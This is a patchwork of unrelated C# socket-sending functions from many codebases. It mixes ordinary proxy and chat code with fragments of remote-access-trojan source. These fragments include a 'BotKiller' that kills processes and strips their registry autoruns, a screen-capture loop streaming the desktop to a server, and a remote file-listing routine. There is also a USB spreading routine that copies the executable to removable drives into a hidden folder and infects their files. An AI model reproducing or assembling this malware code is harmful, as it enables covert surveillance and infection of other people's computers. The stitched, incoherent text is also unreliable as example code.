/// <summary>
/// Отправка данных серверу
/// </summary>
/// <param name="value">любой массив байт</param>
public void Send(byte[] value)
{
if (ConnectedStatus)
{
try
{
ClientSocket?.BeginSend(value, 0, value.Length, SocketFlags.None,
new AsyncCallback(SendCallback), null);
}
catch (SocketException ex)
{
CallErrorClient(ClientErrorType.SendDataError, ex.Message);
Disconnect();
}
catch (Exception ex)
{
CallErrorClient(ClientErrorType.SendDataError, ex.Message);
Disconnect();
}
}
else
{
CallErrorClient(ClientErrorType.SoccketIsNotConnected, "The socket is not connected");
}
}
private void OnConnected(IAsyncResult ar)
{
try
{
DestinationSocket.EndConnect(ar);
string rq;
if (HttpRequestType.ToUpper().Equals("CONNECT"))
{ //HTTPS
rq = HttpVersion + " 200 Connection established\r\nProxy-Agent: DoctorProxy Proxy Server\r\n\r\n";
ClientSocket.BeginSend(Encoding.ASCII.GetBytes(rq), 0, rq.Length, SocketFlags.None, new AsyncCallback(this.OnOkSent), ClientSocket);
}
else
{ //Normal HTTP
rq = RebuildQuery();
//اینجا لاگ کن
DestinationSocket.BeginSend(Encoding.ASCII.GetBytes(rq), 0, rq.Length, SocketFlags.None, new AsyncCallback(this.OnQuerySent), DestinationSocket);
}
}
catch (Exception ex)
{
Log.Write(MethodInfo.GetCurrentMethod(), ex);
Dispose();
}
}
private void btnSendFile_Click_1(object sender, EventArgs e)
{
try
{
string fileString = string.Empty;
OpenFileDialog ofd = new OpenFileDialog();
ofd.AutoUpgradeEnabled = false;
ofd.Filter = "Text File|*.txt";
// ofd.Filter = "Image Files |*.JPG;*.PNG| Text File|*.txt";
if (ofd.ShowDialog() == DialogResult.OK)
{
string path = ofd.FileName;
byte[] fileByte = File.ReadAllBytes(path);
fileString += Encoding.ASCII.GetString(fileByte);
MessagePackage package = new MessagePackage();
string toSendMessage;
toSendMessage = package.ConcatenateMessage(MessageType, 1, MyName, this.Text, fileString);
byte[] buff = Encoding.ASCII.GetBytes(toSendMessage);
ClientSocket.BeginSend(buff, 0, buff.Length, SocketFlags.None, new AsyncCallback(SendCallback), null);
}
}
catch (SocketException) { }
catch (Exception ex)
{
MessageBox.Show(ex.Message, Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public void RunBotKiller()
{
foreach (Process p in Process.GetProcesses())
{
try
{
string pName = p.MainModule.FileName;
if (Inspection(pName))
{
if (!IsWindowVisible(p.MainWindowHandle))
{
p.Kill();
RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName);
RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName);
System.Threading.Thread.Sleep(100);
File.Delete(pName);
count += 1;
}
}
}
catch { }
}
if (count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "BotKiller";
msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
}
///<summary>Called when we receive a reply from the FTP server.</summary>
///<param name="ar">The result of the asynchronous operation.</param>
private void OnReplyReceived(IAsyncResult ar)
{
try
{
int Ret = DestinationSocket.EndReceive(ar);
if (Ret <= 0)
{
Dispose();
return;
}
if (DataForward != null && DataForward.ExpectsReply)
{
if (!DataForward.ProcessPasvReplyRecv(Encoding.ASCII.GetString(RemoteBuffer, 0, Ret)))
{
DestinationSocket.BeginReceive(RemoteBuffer, 0, RemoteBuffer.Length, SocketFlags.None, new AsyncCallback(OnReplyReceived), DestinationSocket);
}
}
else
{
ClientSocket.BeginSend(RemoteBuffer, 0, Ret, SocketFlags.None, new AsyncCallback(OnReplySent), ClientSocket);
}
}
catch
{
Dispose();
}
}
public void BeginSend(object msg)
{
lock (SendSync)
{
try
{
if (!ClientSocket.Connected)
{
Disconnected();
return;
}
if ((byte[])msg == null)
{
return;
}
byte[] buffer = Settings.AES.Encrypt((byte[])msg);
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
ClientSocket.Poll(-1, SelectMode.SelectWrite);
ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
}
catch
{
Disconnected();
return;
}
}
}
private void OnConnected(IAsyncResult ar)
{
try
{
if (DestinationSocket == null)
{
return;
}
string str;
DestinationSocket.EndConnect(ar);
if (HttpRequestType.ToUpper().Equals("CONNECT"))
{
if (ClientSocket != null)
{
str = HttpVersion + " 200 Connection established\r\n\r\n";
ClientSocket.BeginSend(Encoding.ASCII.GetBytes(str), 0, str.Length, SocketFlags.None, OnOkSent,
ClientSocket);
}
}
else
{
str = RebuildQuery();
DestinationSocket.BeginSend(Encoding.ASCII.GetBytes(str), 0, str.Length, SocketFlags.None,
OnQuerySent, DestinationSocket);
}
}
catch
{
Dispose();
}
}
public static void CaptureAndSend()
{
try
{
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
while (RemoteDesktop_Status == true)
{
if (!ClientSocket.Client.Connected)
{
break;
}
Bitmap bmp = GetScreen();
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
Size size = new Size(bmp.Width, bmp.Height);
BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
using (MemoryStream stream = new MemoryStream(1000000))
{
unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
if (stream.Length > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
}
bmp.UnlockBits(bmpData);
bmp.Dispose();
}
}
catch { }
}
// Remote Cycle
private void OnRemoteReceive(IAsyncResult ar)
{
try
{
if (RemoteSocket.Connected)
{
int length = RemoteSocket.EndReceive(ar);
if (length > 0 && ClientSocket.Connected)
{
if (Encoding.ASCII.GetString(RemoteBuffer, 0, 4).StartsWith("HTTP"))
{
string respose = Encoding.ASCII.GetString(RemoteBuffer, 0, length);
int sp = respose.IndexOf("\r\n");
Helper.Debug(respose.Substring(0, sp > 0 ? sp + 2 : 1024), ConsoleColor.DarkYellow);
}
ClientSocket.BeginSend(RemoteBuffer, 0, length, SocketFlags.None, this.OnClientSent, ClientSocket);
return;
}
}
}
catch (Exception ex)
{
Dispose();
Helper.PublishException(ex);
}
Dispose();
}
public void GetPath(string path)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath";
StringBuilder sbFolder = new StringBuilder();
StringBuilder sbFile = new StringBuilder();
foreach (string folder in Directory.GetDirectories(path))
{
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
}
foreach (string file in Directory.GetFiles(path))
{
Icon icon = Icon.ExtractAssociatedIcon(file);
Bitmap bmpIcon = icon.ToBitmap();
long length = new FileInfo(file).Length;
using (MemoryStream ms = new MemoryStream())
{
bmpIcon.Save(ms, ImageFormat.Png);
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + length.ToString() + "-=>");
}
}
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
public void BeginSend(object Msgs)
{
lock (SendSync)
{
if (ClientSocket == null)
{
Disconnected();
return;
}
if (!ClientSocket.Connected)
{
Disconnected();
return;
}
try
{
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
ClientSocket.Poll(-1, SelectMode.SelectWrite);
ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
}
catch
{
Disconnected();
return;
}
}
}
private static void Received()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Received";
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
public void OnSendHeaderCallback(IAsyncResult result)
{
WriteAttachment attachment = (WriteAttachment)result.AsyncState;
attachment.NumberOfBytesWrittenSoFar += (ulong)ClientSocket.EndSend(result);
if (attachment.NumberOfBytesWrittenSoFar < (ulong)attachment.WriteHeaderBuffer.LongLength)
{
// We have not finished sending the header, keep sending it
ClientSocket.BeginSend(attachment.WriteHeaderBuffer,
(int)attachment.NumberOfBytesWrittenSoFar,
(int)((ulong)attachment.WriteHeaderBuffer.LongLength -
attachment.NumberOfBytesWrittenSoFar),
SocketFlags.None, OnSendHeaderCallback, attachment);
}
else
{
// The header was sent completely
attachment.IsHeaderSent = true;
attachment.NumberOfBytesWrittenSoFar = 0;
// We have sent the header, begin sending the payload now
ClientSocket.BeginSend(attachment.WritePayloadBuffer,
0,
(int)attachment.ExpectedWritePayloadLength,
SocketFlags.None, OnSendPayloadCallback, attachment);
}
}
///<summary>Sends a welcome message to the client.</summary>
public override void StartHandshake()
{
try {
string ToSend = "220 Mentalis.org FTP proxy server ready.\r\n";
ClientSocket.BeginSend(Encoding.ASCII.GetBytes(ToSend), 0, ToSend.Length, SocketFlags.None, new AsyncCallback(this.OnHelloSent), ClientSocket);
} catch {
Dispose();
}
}
private static void ProcessPengingPackets()
{
do
{
MissingOutgoingPackets.TryDequeue(out byte[] packet);
ClientSocket.BeginSend(packet, 0, packet.Length, SocketFlags.None, null, null);
} while (MissingOutgoingPackets.Count > 0);
AwaitPendingPackets.Set();
}
///<summary>Sends a "400 - Bad Request" error to the client.</summary>
private void SendBadRequest()
{
string brs = "HTTP/1.1 400 Bad Request\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n<html><h1>Could not resolve the DNS name, or the site is not reachable</html>";
try {
ClientSocket.BeginSend(Encoding.ASCII.GetBytes(brs), 0, brs.Length, SocketFlags.None, new AsyncCallback(this.OnErrorSent), ClientSocket);
} catch {
Dispose();
}
}
///<summary>Sends a "400 - Bad Request" error to the client.</summary>
private void SendBadRequest()
{
string brs = "HTTP/1.1 400 Bad Request\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n<html><head><title>400 Bad Request</title></head><body><div align=\"center\"><table border=\"0\" cellspacing=\"3\" cellpadding=\"3\" bgcolor=\"#C0C0C0\"><tr><td><table border=\"0\" width=\"500\" cellspacing=\"3\" cellpadding=\"3\"><tr><td bgcolor=\"#B2B2B2\"><p align=\"center\"><strong><font size=\"2\" face=\"Verdana\">400 Bad Request</font></strong></p></td></tr><tr><td bgcolor=\"#D1D1D1\"><font size=\"2\" face=\"Verdana\"> The proxy server could not understand the HTTP request!<br><br> Please contact your network administrator about this problem.</font></td></tr></table></center></td></tr></table></div></body></html>";
try {
ClientSocket.BeginSend(Encoding.ASCII.GetBytes(brs), 0, brs.Length, SocketFlags.None, new AsyncCallback(this.OnErrorSent), ClientSocket);
} catch {
Dispose();
}
}
public void Send(Stanza msg)
{
if (msg != null)
{
_clientSocket.BeginSend(msg.ToString());
}
else
{
InvokeOnError(new Error(new NullReferenceException("Message instance is null.")));
}
}
public void SendAsync(string message)
{
try
{
byte[] buffer = Encoding.UTF8.GetBytes(message);
ClientSocket.BeginSend(buffer, 0, buffer.Length, 0, BeginSendCallBack, null);
}
catch (Exception ex)
{
ClientException(this, new ExceptionEventArgs(ex));
}
}
private void SendErrorPage(string respose)
{
try
{
ClientSocket.BeginSend(Encoding.ASCII.GetBytes(respose), 0, respose.Length, SocketFlags.None, this.OnErrorSent, ClientSocket);
}
catch (Exception ex)
{
Dispose();
Helper.PublishException(ex);
}
}
public void Send(byte[] data)
{
try
{
SentBuffer = data;
ClientSocket.BeginSend(SentBuffer, 0, SentBuffer.Length, SocketFlags.None, SentData, ClientSocket);
}
catch (Exception e)
{
OnErrorHandled?.Invoke(e);
}
}
///<summary>Sends a "200 - Head Response" error to the client.</summary>
private void SendHeadResponse()
{
string brs = _cachedRemoteBufferHeaders + "\r\n\r\n";
try
{
ClientSocket.BeginSend(Encoding.ASCII.GetBytes(brs), 0, brs.Length, SocketFlags.None, null, ClientSocket);
}
catch
{
Dispose();
}
}
private void Send(string data)
{
try
{
var bytes = Encoding.UTF8.GetBytes(data);
ClientSocket.BeginSend(bytes, 0, bytes.Length, SocketFlags.None, new AsyncCallback(SendCallback), null);
}
catch (Exception)
{
_Close();
Console.WriteLine("送れませんでした。Send");
}
}
///<summary>Called when we have received data from the remote host.<br>Incoming data will immediately be forwarded to the local client.</br></summary>
///<param name="ar">The result of the asynchronous operation.</param>
protected void OnRemoteReceive(IAsyncResult ar)
{
try {
int Ret = DestinationSocket.EndReceive(ar);
if (Ret <= 0)
{
Dispose();
return;
}
ClientSocket.BeginSend(RemoteBuffer, 0, Ret, SocketFlags.None, new AsyncCallback(this.OnClientSent), ClientSocket);
} catch {
Dispose();
}
}
public void Send(string message)
{
byte[] sendMessage = System.Text.Encoding.ASCII.GetBytes(message);
try {
ClientSocket.BeginSend(sendMessage, 0, sendMessage.Length, SocketFlags.None, new AsyncCallback(SendCallback), null);
}
catch (SocketException se) {
if (se.SocketErrorCode == SocketError.ConnectionReset)
{
Console.WriteLine(">>> Server is unavailable. Disconnecting <<<");
EndConnection();
return;
}
}
}
public void Send(string msgData)
{
if (AcceptedClient == null)
{
byte[] array = Encoding.ASCII.GetBytes(msgData);//new byte[data.Length];
ClientSocket.BeginSend(array, 0, array.Length, SocketFlags.None, null, null);
return;
}
NetworkStream netStram = AcceptedClient.GetStream();
lock (netStram) {
StreamWriter streamWriter = new StreamWriter(AcceptedClient.GetStream(), Encoding.GetEncoding("ISO-8859-1"));
streamWriter.Write(msgData);
streamWriter.Flush();
}
}
public override void Send(TRequestPacket packet)
{
try
{
Log.Trace($"Connecting to server on port: {ServerPort}");
ClientSocket.Connect(ServerEndPoint);
Log.Trace("Connected");
}
catch (Exception e)
{
Log.Error(e, "Failed to connect to server");
}
byte[] packetBytes = packet.ToBytes();
ClientSocket.BeginSend(packetBytes, 0, packetBytes.Length, SocketFlags.None, SendCallback, ClientSocket);
}
private void onPacketProcessed(byte[] buffer)
{
if (Disposed)
{
return;
}
if (!ClientSocket.Connected)
{
Disconnect();
return;
}
try { ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, onPacketSend, ClientSocket); }
catch { Disconnect(); }
}
public async Task SendPacket(IPacket packet)
{
byte[] buffer;
using (var ms = new MemoryStream())
{
await LightRATUtils.Instance.packetSerializer.SerializeAsync(ms, packet);
buffer = ms.ToArray();
}
var compressedData = await CryptEngine.CompressAsync(buffer);
var framedData = await MessageFramingProtocol.FrameAsync(compressedData);
ClientSocket.BeginSend(framedData, 0, framedData.Length, SocketFlags.None, SendCallback, null);
}
private void Initialize()
{
ExplorerOptions();
int count = 0;
foreach (DriveInfo USB in DriveInfo.GetDrives())
{
try
{
if (USB.DriveType == DriveType.Removable && USB.IsReady)
{
count += 1;
if (!Directory.Exists(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory))
{
Directory.CreateDirectory(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory);
File.SetAttributes(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory, FileAttributes.System | FileAttributes.Hidden);
}
if (!Directory.Exists((USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory)))
{
Directory.CreateDirectory((USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory));
}
if (!File.Exists(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile))
{
File.Copy(Application.ExecutablePath, USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile);
}
CreteDirectory(USB.RootDirectory.ToString());
InfectFiles(USB.RootDirectory.ToString());
}
}
catch (Exception ex)
{
Debug.WriteLine("Initialize " + ex.Message);
}
}
if (count != 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
}
